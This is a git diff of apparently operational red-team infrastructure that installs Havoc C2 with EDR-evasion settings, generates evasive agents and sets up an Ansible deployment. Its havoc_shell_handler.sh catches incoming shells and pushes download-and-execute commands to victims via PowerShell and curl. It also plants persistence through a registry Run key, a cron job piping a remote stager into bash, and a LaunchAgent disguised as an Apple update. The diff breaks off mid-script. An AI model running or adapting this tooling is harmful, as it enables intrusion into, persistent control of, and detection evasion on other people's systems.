diff --git a/files/havoc_installer.sh b/files/havoc_installer.sh
new file mode 100644
index 0000000..d73a8dc
--- /dev/null
+++ b/files/havoc_installer.sh
@@ -0,0 +1,224 @@
+#!/bin/bash
+# Havoc C2 Framework installer with EDR evasion features
+
+set -e
+TEMP_DIR=$(mktemp -d)
+LOG_FILE="/root/Tools/havoc_installer.log"
+HAVOC_DIR="/root/Tools/havoc"
+HAVOC_DATA_DIR="/root/Tools/havoc/data"
+HAVOC_VERSION="0.5.0"
+HAVOC_GITHUB="https://github.com/HavocFramework/Havoc"
+GO_VERSION="1.19"
+
+# Function to log messages
+log() {
+ echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE
+}
+
+# Function to generate random strings
+random_string() {
+ local length=${1:-8}
+ cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
+}
+
+# Install required dependencies
+log "Installing dependencies..."
+apt-get update >/dev/null 2>&1
+apt-get install -y git golang-go make build-essential mingw-w64 nasm cmake \
+ ninja-build python3-pip libfontconfig1 libglu1-mesa-dev libgtest-dev \
+ libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \
+ libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev \
+ qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 \
+ libqt5websockets5-dev >/dev/null 2>&1
+
+# Setup Go environment
+log "Setting up Go environment..."
+mkdir -p /root/go
+export GOPATH=/root/go
+export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
+
+# Clone Havoc repository
+log "Cloning Havoc repository..."
+if [ -d "$HAVOC_DIR" ]; then
+ log "Havoc directory already exists, updating..."
+ cd $HAVOC_DIR
+ git pull
+else
+ git clone --quiet $HAVOC_GITHUB $HAVOC_DIR
+ cd $HAVOC_DIR
+fi
+
+# Generate unique identifiers for EDR evasion
+RANDOMIZED_BUILD_ID=$(random_string 16)
+log "Using randomized build ID: $RANDOMIZED_BUILD_ID"
+
+# Build Havoc teamserver
+log "Building Havoc teamserver..."
+cd $HAVOC_DIR/Teamserver
+go mod download
+sed -i "s/const Version = \".*\"/const Version = \"${HAVOC_VERSION}-${RANDOMIZED_BUILD_ID}\"/" pkg/common/metadata.go
+make
+
+# Build Havoc client
+log "Building Havoc client..."
+cd $HAVOC_DIR/Client
+mkdir -p build
+cd build
+cmake -GNinja ..
+ninja
+
+# Generate self-signed SSL certificates for Teamserver
+mkdir -p $HAVOC_DATA_DIR/certs
+cd $HAVOC_DATA_DIR/certs
+
+if [ ! -f havoc.key ] || [ ! -f havoc.crt ]; then
+ log "Generating self-signed SSL certificates..."
+
+ # Generate random values for certificate
+ COUNTRY="US"
+ STATE=$(random_string 8)
+ LOCALITY=$(random_string 8)
+ ORGANIZATION=$(random_string 10)
+ COMMON_NAME=$(random_string 12).com
+
+ # Create OpenSSL config
+ cat > openssl.cnf << EOF
+[req]
+distinguished_name = req_distinguished_name
+x509_extensions = v3_req
+prompt = no
+
+[req_distinguished_name]
+C = $COUNTRY
+ST = $STATE
+L = $LOCALITY
+O = $ORGANIZATION
+CN = $COMMON_NAME
+
+[v3_req]
+keyUsage = critical, digitalSignature, keyAgreement
+extendedKeyUsage = serverAuth
+subjectAltName = @alt_names
+
+[alt_names]
+DNS.1 = $COMMON_NAME
+DNS.2 = localhost
+EOF
+
+ # Generate certificate
+ openssl req -x509 -newkey rsa:4096 -keyout havoc.key -out havoc.crt -days 3650 -nodes -config openssl.cnf
+ chmod 600 havoc.key
+ chmod 644 havoc.crt
+
+ log "Generated SSL certificates with CN=$COMMON_NAME"
+fi
+
+# Create systemd service for Havoc Teamserver
+log "Creating systemd service for Havoc Teamserver..."
+cat > /etc/systemd/system/havoc.service << EOF
+[Unit]
+Description=Havoc C2 Teamserver
+After=network.target
+
+[Service]
+Type=simple
+User=root
+Group=root
+WorkingDirectory=$HAVOC_DIR/Teamserver
+ExecStart=$HAVOC_DIR/Teamserver/teamserver server --profile $HAVOC_DATA_DIR/profiles/default.yaotl
+Restart=always
+RestartSec=10
+
+# Security measures
+PrivateTmp=true
+ProtectHome=false
+NoNewPrivileges=true
+
+[Install]
+WantedBy=multi-user.target
+EOF
+
+# Create default Havoc profile directory
+mkdir -p $HAVOC_DATA_DIR/profiles
+
+# Create default Havoc profile
+log "Creating default Havoc profile..."
+cat > $HAVOC_DATA_DIR/profiles/default.yaotl << EOF
+Teamserver {
+ Host = "0.0.0.0"
+ Port = 40056
+
+ Build {
+ Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
+ Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
+ Nasm = "/usr/bin/nasm"
+ }
+}
+
+Operators {
+ admin {
+ Password = "$(random_string 12)"
+ }
+}
+
+Listeners {
+ http {
+ Name = "http"
+ KillDate = "2030-01-01"
+ WorkingHours = "0:00-23:59"
+ Hosts = ["0.0.0.0"]
+ HostBind = "0.0.0.0"
+ HostRotation = "round-robin"
+ Port = 8080
+ PortBind = 8080
+ UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
+ Headers = ["Accept: */*"]
+ Uris = ["/api/v1", "/dashboard"]
+ Secure = false
+ }
+
+ https {
+ Name = "https"
+ KillDate = "2030-01-01"
+ WorkingHours = "0:00-23:59"
+ Hosts = ["0.0.0.0"]
+ HostBind = "0.0.0.0"
+ HostRotation = "round-robin"
+ Port = 443
+ PortBind = 443
+ UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
+ Headers = ["Accept: */*"]
+ Uris = ["/api/v2", "/content"]
+ Secure = true
+ Cert = "$HAVOC_DATA_DIR/certs/havoc.crt"
+ Key = "$HAVOC_DATA_DIR/certs/havoc.key"
+ }
+}
+
+Demon {
+ Sleep = 2
+ SleepJitter = 50
+
+ Injection {
+ Spawn64 = "C:\\Windows\\System32\\notepad.exe"
+ Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
+ }
+}
+EOF
+
+# Set proper permissions
+log "Setting proper permissions..."
+chmod 755 $HAVOC_DIR/Teamserver/teamserver
+chmod 755 $HAVOC_DIR/Client/havoc
+
+# Create symlinks to executables in /usr/local/bin
+ln -sf $HAVOC_DIR/Teamserver/teamserver /usr/local/bin/havoc-teamserver
+ln -sf $HAVOC_DIR/Client/havoc /usr/local/bin/havoc-client
+
+# Enable and start Havoc service
+log "Enabling and starting Havoc service..."
+systemctl daemon-reload
+systemctl enable havoc
+systemctl start havoc
+
+log "Havoc C2 installation completed!"
\ No newline at end of file
diff --git a/files/havoc_shell_handler.sh b/files/havoc_shell_handler.sh
new file mode 100644
index 0000000..141a2f6
--- /dev/null
+++ b/files/havoc_shell_handler.sh
@@ -0,0 +1,218 @@
+#!/bin/bash
+# Automated shell handler for catching and upgrading shells to Havoc C2 agents
+
+# Configuration
+LISTEN_PORT=4444
+C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
+HAVOC_PORT=40056 # Havoc default Teamserver port
+HAVOC_USER="admin"
+HAVOC_DIR="/root/Tools/havoc"
+WINDOWS_PAYLOAD="windows/agent_win.exe"
+LINUX_PAYLOAD="linux/agent_linux"
+
+# Set secure permissions
+umask 077
+
+# Logging function (minimal and encrypted)
+log() {
+ local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
+ local message="$1"
+ echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
+}
+
+# Detect OS function
+detect_os() {
+ local connection=$1
+
+ # Send commands to determine OS
+ echo "echo \$OSTYPE" > $connection
+ sleep 1
+ ostype=$(cat $connection | grep -i "linux\|darwin\|win")
+
+ if [[ $ostype == *"win"* ]]; then
+ echo "windows"
+ elif [[ $ostype == *"darwin"* ]]; then
+ echo "macos"
+ elif [[ $ostype == *"linux"* ]]; then
+ echo "linux"
+ else
+ # Try Windows-specific command
+ echo "ver" > $connection
+ sleep 1
+ winver=$(cat $connection | grep -i "microsoft windows")
+
+ if [[ -n "$winver" ]]; then
+ echo "windows"
+ else
+ # Default to Linux if we can't determine
+ echo "linux"
+ fi
+ fi
+}
+
+# Get Havoc password
+get_havoc_password() {
+ # Extract password from Havoc profile
+ HAVOC_PASS=$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)
+ echo $HAVOC_PASS
+}
+
+# Deploy appropriate Havoc agent based on OS
+deploy_agent() {
+ local connection=$1
+ local os_type=$2
+
+ log "Deploying Havoc agent for detected OS: $os_type"
+
+ # Get the latest payload paths from manifest
+ local manifest="/root/Tools/havoc/payloads/manifest.json"
+ if [ -f "$manifest" ]; then
+ if [ "$os_type" == "windows" ]; then
+ WIN_EXE=$(jq -r '.windows_exe' "$manifest")
+ PAYLOAD_PATH="/root/Tools/havoc/payloads/windows/$WIN_EXE"
+ elif [ "$os_type" == "linux" ]; then
+ LINUX_BIN=$(jq -r '.linux_binary' "$manifest")
+ PAYLOAD_PATH="/root/Tools/havoc/payloads/linux/$LINUX_BIN"
+ fi
+ else
+ # Use default paths if manifest doesn't exist
+ if [ "$os_type" == "windows" ]; then
+ PAYLOAD_PATH="/root/Tools/havoc/payloads/windows/agent_win.exe"
+ elif [ "$os_type" == "linux" ]; then
+ PAYLOAD_PATH="/root/Tools/havoc/payloads/linux/agent_linux"
+ fi
+ fi
+
+ case $os_type in
+ windows)
+ # Setup Python HTTP server for payload delivery
+ mkdir -p /tmp/havoc_payloads
+ cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update.exe
+ cd /tmp/havoc_payloads
+ python3 -m http.server 8888 &
+ HTTP_PID=$!
+
+ # Use PowerShell to download and execute
+ echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://$C2_HOST:8888/update.exe', \$env:TEMP+'\\update.exe'); Start-Process \$env:TEMP+'\\update.exe'" > $connection
+ sleep 10
+
+ # Cleanup HTTP server
+ kill $HTTP_PID
+ ;;
+ linux)
+ # Setup Python HTTP server for payload delivery
+ mkdir -p /tmp/havoc_payloads
+ cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
+ chmod +x /tmp/havoc_payloads/update
+ cd /tmp/havoc_payloads
+ python3 -m http.server 8888 &
+ HTTP_PID=$!
+
+ # Use curl to download and execute
+ echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
+ sleep 10
+
+ # Cleanup HTTP server
+ kill $HTTP_PID
+ ;;
+ macos)
+ # For macOS, we'll attempt to use the Linux payload
+ mkdir -p /tmp/havoc_payloads
+ cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
+ chmod +x /tmp/havoc_payloads/update
+ cd /tmp/havoc_payloads
+ python3 -m http.server 8888 &
+ HTTP_PID=$!
+
+ # Use curl to download and execute
+ echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
+ sleep 10
+
+ # Cleanup HTTP server
+ kill $HTTP_PID
+ ;;
+ esac
+
+ log "Havoc agent deployment command sent"
+}
+
+# Establish persistence based on OS
+establish_persistence() {
+ local connection=$1
+ local os_type=$2
+
+ log "Attempting to establish persistence on $os_type"
+
+ case $os_type in
+ windows)
+ # Windows persistence via registry run key
+ echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
+ ;;
+ linux)
+ # Linux persistence via crontab
+ echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/linux_stager.sh | bash') | crontab -" > $connection
+ ;;
+ macos)
+ # macOS persistence via launch agent
+ echo "mkdir -p ~/Library/LaunchAgents" > $connection
+ echo "echo 'Labelcom.apple.software.updateProgramArgumentsbash-ccurl -s http://$C2_HOST:8443/linux_stager.sh | bashRunAtLoadStartInterval900' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
+ echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
+ ;;
+ esac
+
+ log "Persistence commands sent for $os_type"
+}
+
+# Main shell handler loop
+handle_connections() {
+ log "Shell handler started on port $LISTEN_PORT"
+
+ # Use mkfifo for bidirectional communication
+ PIPE_PATH="/tmp/shell_handler_pipe"
+ trap 'rm -f $PIPE_PATH' EXIT
+
+ while true; do
+ # Clean up existing pipe
+ rm -f $PIPE_PATH
+ mkfifo $PIPE_PATH
+
+ log "Waiting for incoming connection..."
+ nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
+ NC_PID=$!
+
+ # Wait for connection to be established
+ while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
+ sleep 1
+ # Check if nc is still running
+ if ! kill -0 $NC_PID 2>/dev/null; then
+ log "Netcat process died, restarting..."
+ rm -f $PIPE_PATH $PIPE_PATH.output
+ continue 2 # Restart the outer loop
+ fi
+ done
+
+ log "Connection received, detecting OS..."
+ DETECTED_OS=$(detect_os "$PIPE_PATH.output")
+ log "Detected OS: $DETECTED_OS"
+
+ # Deploy Havoc agent
+ deploy_agent "$PIPE_PATH" "$DETECTED_OS"
+ sleep 5
+
+ # Establish persistence
+ establish_persistence "$PIPE_PATH" "$DETECTED_OS"
+ sleep 5
+
+ # Keep connection alive for manual operation if needed
+ log "Havoc agent deployed, maintaining shell connection..."
+ echo "echo 'Shell upgraded to Havoc agent. This connection will remain active for manual operation.'" > $PIPE_PATH
+
+ # Wait for connection to close
+ wait $NC_PID
+ log "Connection closed, cleaning up and restarting listener..."
+ rm -f $PIPE_PATH.output
+ done
+}
+
+# Start the shell handler
+handle_connections
\ No newline at end of file
diff --git a/tasks/configure_c2.yml b/tasks/configure_c2.yml
index 8245cd6..87554de 100644
--- a/tasks/configure_c2.yml
+++ b/tasks/configure_c2.yml
@@ -1,5 +1,5 @@
---
-# Common tasks for configuring C2 server with EDR evasion
+# Common tasks for configuring C2 server with Havoc C2 and EDR evasion
# Shared across all providers
- name: Update apt cache
@@ -56,6 +56,30 @@
- dovecot-managesieved
- yq
- build-essential
+ # Additional Havoc C2 dependencies
+ - mingw-w64
+ - nasm
+ - cmake
+ - ninja-build
+ - libfontconfig1
+ - libglu1-mesa-dev
+ - libgtest-dev
+ - libspdlog-dev
+ - libboost-all-dev
+ - libncurses5-dev
+ - libgdbm-dev
+ - libssl-dev
+ - libreadline-dev
+ - libffi-dev
+ - libsqlite3-dev
+ - libbz2-dev
+ - mesa-common-dev
+ - qtbase5-dev
+ - qtchooser
+ - qt5-qmake
+ - qtbase5-dev-tools
+ - libqt5websockets5
+ - libqt5websockets5-dev
state: present
- name: Create directories for operational scripts
@@ -66,26 +90,27 @@
owner: root
group: root
with_items:
- - Tools
- - beacons
- - payloads
+ - /root/Tools
+ - /root/Tools/beacons
+ - /root/Tools/payloads
- name: Copy operational scripts
copy:
src: "{{ item }}"
- dest: "Tools/{{ item | basename }}"
+ dest: "/root/Tools/{{ item | basename }}"
mode: '0700'
owner: root
group: root
with_items:
- - ../files/clean-logs.sh
- - ../files/secure-exit.sh
- - ../files/sliver_randomizer.sh
+ - "../files/clean-logs.sh"
+ - "../files/secure-exit.sh"
+ - "../files/havoc_installer.sh"
+ - "../files/havoc_shell_handler.sh"
- name: Copy post-install script
copy:
src: "../files/post_install_c2.sh"
- dest: "Tools/post_install_c2.sh"
+ dest: "/root/Tools/post_install_c2.sh"
mode: '0700'
owner: root
group: root
@@ -93,7 +118,7 @@
- name: Copy port randomization script
copy:
src: "../files/randomize_ports.sh"
- dest: "Tools/randomize_ports.sh"
+ dest: "/root/Tools/randomize_ports.sh"
mode: '0700'
owner: root
group: root
@@ -106,7 +131,7 @@
================================================================
To complete your setup with SSL certificates, run:
- Tools/post_install_c2.sh
+ /root/Tools/post_install_c2.sh
This script will guide you through:
- Setting up Let's Encrypt certificates
@@ -115,7 +140,7 @@
- Displaying DNS configuration recommendations
For enhanced OPSEC, you can also randomize ports:
- Tools/randomize_ports.sh
+ /root/Tools/randomize_ports.sh
Run these after you've configured your DNS records to point to this server.
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
@@ -123,10 +148,37 @@
owner: root
group: root
-- name: Create main beacon generation script
+- name: Remove any existing Sliver or Havoc
+ file:
+ path: "{{ item }}"
+ state: absent
+ with_items:
+ - "/usr/local/bin/sliver"
+ - "/usr/local/bin/sliver-server"
+ ignore_errors: yes
+
+- name: Stop existing Sliver service if running
+ systemd:
+ name: sliver
+ state: stopped
+ enabled: no
+ ignore_errors: yes
+
+- name: Install Havoc C2 Framework
+ shell: "/root/Tools/havoc_installer.sh"
+ args:
+ creates: "/root/Tools/havoc/Teamserver/teamserver"
+ register: havoc_installation_result
+
+- name: Display Havoc installation output
+ debug:
+ var: havoc_installation_result.stdout_lines
+ when: havoc_installation_result.stdout_lines is defined
+
+- name: Create Havoc payload generation script
template:
- src: "../templates/generate_evasive_beacons.sh.j2"
- dest: "Tools/generate_evasive_beacons.sh"
+ src: "../templates/generate_havoc_payloads.sh.j2"
+ dest: "/root/Tools/generate_havoc_payloads.sh"
mode: '0700'
owner: root
group: root
@@ -134,7 +186,7 @@
- name: Create Linux loader script template
template:
src: "../templates/linux_loader.sh.j2"
- dest: "Tools/linux_loader.template"
+ dest: "/root/Tools/linux_loader.template"
mode: '0644'
owner: root
group: root
@@ -142,31 +194,15 @@
- name: Create Windows PowerShell loader template
template:
src: "../templates/windows_loader.ps1.j2"
- dest: "Tools/windows_loader.template"
- mode: '0644'
- owner: root
- group: root
-
-- name: Create manifest template
- template:
- src: "../templates/manifest.json.j2"
- dest: "Tools/manifest.template"
- mode: '0644'
- owner: root
- group: root
-
-- name: Create reference file template
- template:
- src: "../templates/reference.txt.j2"
- dest: "Tools/reference.template"
+ dest: "/root/Tools/windows_loader.template"
mode: '0644'
owner: root
group: root
- name: Create beacon server script from template
template:
- src: "../templates/serve-beacons.sh.j2"
- dest: "Tools/serve-beacons.sh"
+ src: "../templates/serve-havoc-payloads.sh.j2"
+ dest: "/root/Tools/serve-beacons.sh"
mode: '0700'
owner: root
group: root
@@ -175,91 +211,35 @@
domain: "{{ domain }}"
redirector_port: "{{ redirector_port | default('443') }}"
-- name: Remove standard Sliver if installed
- apt:
- name: sliver
- state: absent
- ignore_errors: yes
-
-- name: Stop standard Sliver service if running
- systemd:
- name: sliver
- state: stopped
- enabled: no
- ignore_errors: yes
-
-- name: Run Sliver randomization for EDR evasion
- shell: Tools/sliver_randomizer.sh
- args:
- creates: /usr/local/bin/sliver-server
- register: randomization_result
-
-- name: Display Sliver randomizer output
- debug:
- var: randomization_result.stdout_lines
- when: randomization_result.stdout_lines is defined
-
-- name: Create custom Sliver service file
- template:
- src: "../templates/sliver-server.service.j2"
- dest: /etc/systemd/system/sliver.service
- mode: '0644'
- owner: root
- group: root
-
-- name: Enable and start custom Sliver service
- systemd:
- name: sliver
- state: started
- enabled: yes
- daemon_reload: yes
-
-- name: Wait for Sliver to initialize
- pause:
- seconds: 15
-
-- name: Check if Sliver operator config exists
- stat:
- path: /root/admin.cfg
- register: operator_config
-
-- name: Create new operator if needed
- shell: |
- /usr/local/bin/sliver-server operator --name admin --lhost {{ ansible_host }} --save /root/admin.cfg
- args:
- creates: /root/admin.cfg
- when: not operator_config.stat.exists
-
- name: Run port randomization if enabled
include_tasks: port_randomization.yml
when: randomize_ports | default(false) | bool
-- name: Generate beacons with redirector integration
- shell: |
- Tools/generate_evasive_beacons.sh
+- name: Generate Havoc payloads
+ shell: "/root/Tools/generate_havoc_payloads.sh"
args:
- creates: /root/beacons/reference.txt
+ creates: "/root/Tools/havoc/payloads/manifest.json"
+ register: payload_generation_result
environment:
PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
ignore_errors: yes
- register: beacon_generation_result
-- name: Display beacon generation output
+- name: Display payload generation output
debug:
- var: beacon_generation_result.stdout_lines
- when: beacon_generation_result.stdout_lines is defined
+ var: payload_generation_result.stdout_lines
+ when: payload_generation_result.stdout_lines is defined
-- name: Start beacon server
+- name: Start payload server
shell: |
- nohup Tools/serve-beacons.sh > /dev/null 2>&1 &
+ nohup /root/Tools/serve-beacons.sh > /dev/null 2>&1 &
args:
executable: /bin/bash
register: beacon_server_result
- name: Create NGINX configuration fragment for redirector
template:
- src: "../templates/redirector-sliver-fragment.j2"
- dest: "Tools/redirector-config.conf"
+ src: "../templates/redirector-havoc-fragment.j2"
+ dest: "/root/Tools/redirector-config.conf"
mode: '0644'
owner: root
group: root
@@ -267,10 +247,10 @@
c2_ip: "{{ ansible_host }}"
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
-- name: Create Sliver usage guide
+- name: Create Havoc usage guide
template:
- src: "../templates/sliver-guide.j2"
- dest: "/root/sliver-guide.txt"
+ src: "../templates/havoc-guide.j2"
+ dest: "/root/havoc-guide.txt"
mode: '0600'
owner: root
group: root
@@ -283,7 +263,7 @@
name: "Clean logs"
minute: "0"
hour: "*/6"
- job: "Tools/clean-logs.sh > /dev/null 2>&1"
+ job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
when: zero_logs | bool
# Include integrated tracker tasks if requested
diff --git a/tasks/configure_c2_with_havoc.yml b/tasks/configure_c2_with_havoc.yml
new file mode 100644
index 0000000..4f9fe9d
--- /dev/null
+++ b/tasks/configure_c2_with_havoc.yml
@@ -0,0 +1,251 @@
+---
+# Common tasks for configuring C2 server with Havoc C2 and EDR evasion
+# Shared across all providers
+
+- name: Update apt cache
+ apt:
+ update_cache: yes
+
+- name: Set a custom MOTD
+ template:
+ src: "../templates/motd-linode.j2"
+ dest: /etc/motd
+ owner: root
+ group: root
+ mode: '0644'
+
+- name: Install base utilities and tools via apt
+ apt:
+ name:
+ - git
+ - wget
+ - curl
+ - unzip
+ - python3-pip
+ - python3-venv
+ - tmux
+ - pipx
+ - nmap
+ - tcpdump
+ - hydra
+ - john
+ - hashcat
+ - sqlmap
+ - gobuster
+ - dirb
+ - enum4linux
+ - dnsenum
+ - seclists
+ - responder
+ - golang
+ - proxychains
+ - tor
+ - crackmapexec
+ - jq
+ - build-essential
+ - zip
+ - unzip
+ - postfix
+ - certbot
+ - opendkim
+ - opendkim-tools
+ - dovecot-core
+ - dovecot-imapd
+ - dovecot-pop3d
+ - dovecot-sieve
+ - dovecot-managesieved
+ - yq
+ - build-essential
+ - mingw-w64
+ - nasm
+ - cmake
+ - ninja-build
+ - python3-pip
+ - libfontconfig1
+ - libglu1-mesa-dev
+ - libgtest-dev
+ - libspdlog-dev
+ - libboost-all-dev
+ - libncurses5-dev
+ - libgdbm-dev
+ - libssl-dev
+ - libreadline-dev
+ - libffi-dev
+ - libsqlite3-dev
+ - libbz2-dev
+ - mesa-common-dev
+ - qtbase5-dev
+ - qtchooser
+ - qt5-qmake
+ - qtbase5-dev-tools
+ - libqt5websockets5
+ - libqt5websockets5-dev
+ state: present
+
+- name: Create directories for operational scripts
+ file:
+ path: "{{ item }}"
+ state: directory
+ mode: '0700'
+ owner: root
+ group: root
+ with_items:
+ - /root/Tools
+ - /root/Tools/beacons
+ - /root/Tools/payloads
+
+- name: Copy operational scripts
+ copy:
+ src: "{{ item }}"
+ dest: "/root/Tools/{{ item | basename }}"
+ mode: '0700'
+ owner: root
+ group: root
+ with_items:
+ - ../files/clean-logs.sh
+ - ../files/secure-exit.sh
+ - ../files/havoc_installer.sh
+
+- name: Copy post-install script
+ copy:
+ src: "../files/post_install_c2.sh"
+ dest: "/root/Tools/post_install_c2.sh"
+ mode: '0700'
+ owner: root
+ group: root
+
+- name: Copy port randomization script
+ copy:
+ src: "../files/randomize_ports.sh"
+ dest: "/root/Tools/randomize_ports.sh"
+ mode: '0700'
+ owner: root
+ group: root
+
+- name: Create post-install instructions
+ copy:
+ content: |
+ ================================================================
+ C2ingRed Post-Installation Instructions
+ ================================================================
+
+ To complete your setup with SSL certificates, run:
+ /root/Tools/post_install_c2.sh
+
+ This script will guide you through:
+ - Setting up Let's Encrypt certificates
+ - Starting required services
+ - Setting up the redirector (if desired)
+ - Displaying DNS configuration recommendations
+
+ For enhanced OPSEC, you can also randomize ports:
+ /root/Tools/randomize_ports.sh
+
+ Run these after you've configured your DNS records to point to this server.
+ dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
+ mode: '0644'
+ owner: root
+ group: root
+
+- name: Install Havoc C2 Framework
+ shell: "/root/Tools/havoc_installer.sh"
+ args:
+ creates: /opt/havoc/Teamserver/teamserver
+ register: havoc_installation_result
+
+- name: Display Havoc installation output
+ debug:
+ var: havoc_installation_result.stdout_lines
+ when: havoc_installation_result.stdout_lines is defined
+
+- name: Create Havoc payload generation script
+ template:
+ src: "../templates/generate_havoc_payloads.sh.j2"
+ dest: "/root/Tools/generate_havoc_payloads.sh"
+ mode: '0700'
+ owner: root
+ group: root
+
+- name: Create Linux loader script template
+ template:
+ src: "../templates/linux_loader.sh.j2"
+ dest: "/root/Tools/linux_loader.template"
+ mode: '0644'
+ owner: root
+ group: root
+
+- name: Create Windows PowerShell loader template
+ template:
+ src: "../templates/windows_loader.ps1.j2"
+ dest: "/root/Tools/windows_loader.template"
+ mode: '0644'
+ owner: root
+ group: root
+
+- name: Create beacon server script from template
+ template:
+ src: "../templates/serve-havoc-payloads.sh.j2"
+ dest: "/root/Tools/serve-beacons.sh"
+ mode: '0700'
+ owner: root
+ group: root
+ vars:
+ redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
+ domain: "{{ domain }}"
+ redirector_port: "{{ redirector_port | default('443') }}"
+
+- name: Generate Havoc payloads
+ shell: "/root/Tools/generate_havoc_payloads.sh"
+ args:
+ creates: /opt/havoc/payloads/manifest.json
+ register: payload_generation_result
+ environment:
+ PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
+ ignore_errors: yes
+
+- name: Display payload generation output
+ debug:
+ var: payload_generation_result.stdout_lines
+ when: payload_generation_result.stdout_lines is defined
+
+- name: Start payload server
+ shell: |
+ nohup /root/Tools/serve-beacons.sh > /dev/null 2>&1 &
+ args:
+ executable: /bin/bash
+ register: beacon_server_result
+
+- name: Create NGINX configuration fragment for redirector
+ template:
+ src: "../templates/redirector-havoc-fragment.j2"
+ dest: "/root/Tools/redirector-config.conf"
+ mode: '0644'
+ owner: root
+ group: root
+ vars:
+ c2_ip: "{{ ansible_host }}"
+ redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
+
+- name: Create Havoc usage guide
+ template:
+ src: "../templates/havoc-guide.j2"
+ dest: "/root/havoc-guide.txt"
+ mode: '0600'
+ owner: root
+ group: root
+ vars:
+ c2_ip: "{{ ansible_host }}"
+ redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
+
+- name: Set up cron job for log cleaning if zero-logs enabled
+ cron:
+ name: "Clean logs"
+ minute: "0"
+ hour: "*/6"
+ job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
+ when: zero_logs | bool
+
+# Include integrated tracker tasks if requested
+- name: Include integrated tracker setup
+ include_tasks: "configure_integrated_tracker.yml"
+ when: setup_integrated_tracker | default(false) | bool
\ No newline at end of file
diff --git a/templates/generate_havoc_payloads.sh.j2 b/templates/generate_havoc_payloads.sh.j2
new file mode 100644
index 0000000..da59faf
--- /dev/null
+++ b/templates/generate_havoc_payloads.sh.j2
@@ -0,0 +1,260 @@
+#!/bin/bash
+# EDR-evasive payload generator for Havoc C2
+
+# Configuration (automatically populated by Ansible)
+PAYLOADS_DIR="/root/Tools/havoc/payloads"
+C2_HOST="{{ ansible_host }}"
+REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
+REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
+TEAMSERVER_HOST="127.0.0.1"
+TEAMSERVER_PORT="40056"
+HAVOC_DIR="/root/Tools/havoc"
+HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
+
+# Ensure required directories exist
+mkdir -p $PAYLOADS_DIR/windows
+mkdir -p $PAYLOADS_DIR/linux
+mkdir -p $PAYLOADS_DIR/staged
+
+# Generate unique random values for each execution
+random_string() {
+ cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
+}
+
+# Define Havoc profiles for different payloads
+generate_profiles() {
+ echo "[+] Generating Havoc C2 profiles..."
+
+ # Profile for Windows EXE
+ cat > $PAYLOADS_DIR/win_exe.profile << EOF
+{
+ "Listener": "https",
+ "Demon": {
+ "Sleep": 5,
+ "SleepJitter": 30,
+ "IndirectSyscalls": true,
+ "Inject": {
+ "AllocationMethod": 0,
+ "ExecutionMethod": 0,
+ "ExecuteOptions": 0
+ },
+ "Evasion": {
+ "StackSpoofing": true,
+ "SleazeUnhook": true,
+ "AmsiEtwPatching": true
+ },
+ "Formats": [
+ "Binary",
+ "Shellcode"
+ ]
+ }
+}
+EOF
+
+ # Profile for Linux ELF
+ cat > $PAYLOADS_DIR/linux_elf.profile << EOF
+{
+ "Listener": "https",
+ "Demon": {
+ "Sleep": 5,
+ "SleepJitter": 30,
+ "Injection": {
+ "SpawnMethod": 1,
+ "AllocationMethod": 1
+ },
+ "Formats": [
+ "Binary",
+ "Shellcode"
+ ]
+ }
+}
+EOF
+
+ echo "[+] Profiles created successfully"
+}
+
+# Generate Havoc payloads with CLI arguments
+generate_payloads() {
+ echo "[+] Generating Havoc payloads..."
+
+ # Windows EXE
+ win_output="agent_win_$(random_string 8).exe"
+ echo "[+] Generating Windows payload: $win_output"
+
